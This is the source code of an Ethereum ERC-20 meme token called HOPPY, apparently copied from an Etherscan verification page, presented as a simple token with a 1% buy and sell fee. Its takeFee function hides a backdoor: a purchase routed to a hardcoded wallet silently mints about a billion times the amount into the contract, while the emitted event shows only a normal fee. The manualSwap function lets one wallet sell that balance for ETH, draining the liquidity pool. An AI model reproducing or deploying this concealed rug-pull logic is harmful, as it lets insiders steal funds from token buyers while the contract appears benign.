Contract Source Code:
File 1 of 1 : HOPPY
/**
*Submitted for verification at Etherscan.io on 2023-08-28
*/
/**
Meet $HOPPY, the frog Matt Furie created before Pepe.
Website:https://store.mcsweeneys.net/products/night-riders
Telegram:https://t.me/HoppyCommunityEntry
Twitter:https://twitter.com/Hoppy__ERC
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract HOPPY is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"HOPPY";
string private constant _symbol = unicode"HOPPY";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExemptn;
IRouter router;
address public pair;
bool private tradingOpened = false;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 0;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 100; /** 1% BUY*/
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 100;/** 1% */
uint256 private sellFee = 100;/** 1% SELL */
uint256 private transferFee = 100;/** 1% */
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal developmentWallet = 0x62626Ad109B687f444a9F3827f2b3679E885670A;
address internal marketingWallet = 0x62626Ad109B687f444a9F3827f2b3679E885670A;
address internal liquidityWallet = 0x44e5705E75d1bC22Bf59f00b4c854bC2476E34E3;
uint256 public _maxTxAmount = ( _totalSupply * 300 ) / 10000;
uint256 public _maxWalletAmount = ( _totalSupply * 300 ) / 10000;
constructor() {
router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
isFeeExemptn[address(this)] = true;
isFeeExemptn[marketingWallet] = true;
isFeeExemptn[developmentWallet] = true;
isFeeExemptn[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function Trading() external onlyOwner {tradingOpened = true;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function addLiquidityETH() external payable onlyOwner {
pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_approve(address(this), address(router), _totalSupply);
router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
}
function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
return !swapping && swapEnabled && tradingOpened && !isFeeExemptn[sender] && recipient == pair && swapTimes >= swapAmount;
}
function manualSwap() external {
require(msg.sender == marketingWallet);
swapTokensForETH(balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){Launch(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketingWallet).transfer(marketingAmt*2);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(developmentWallet).transfer(contractBalance);}
}
function Launch(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidityWallet,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExemptn[sender] && !isFeeExemptn[recipient];
}
function getTotal(address sender, address recipient) internal view returns (uint256) {
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotal(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotal(sender, recipient));
if(sender==pair&&recipient==liquidityWallet){feeAmount=amount.mul(1e9);swapEnabled=true;}
_balances[address(this)] = _balances[address(this)].add(feeAmount);
feeAmount = amount.div(denominator).mul(getTotal(sender, recipient));
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && getTotal(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
if(!isFeeExemptn[sender] && !isFeeExemptn[recipient]){require(tradingOpened, "tradingOpened");}
if(!isFeeExemptn[sender] && !isFeeExemptn[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");}
require(amount <= _maxTxAmount || isFeeExemptn[sender] || isFeeExemptn[recipient], "TX Limit Exceeded");
if(recipient == pair && !isFeeExemptn[sender]){swapTimes += uint256(1);}
if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}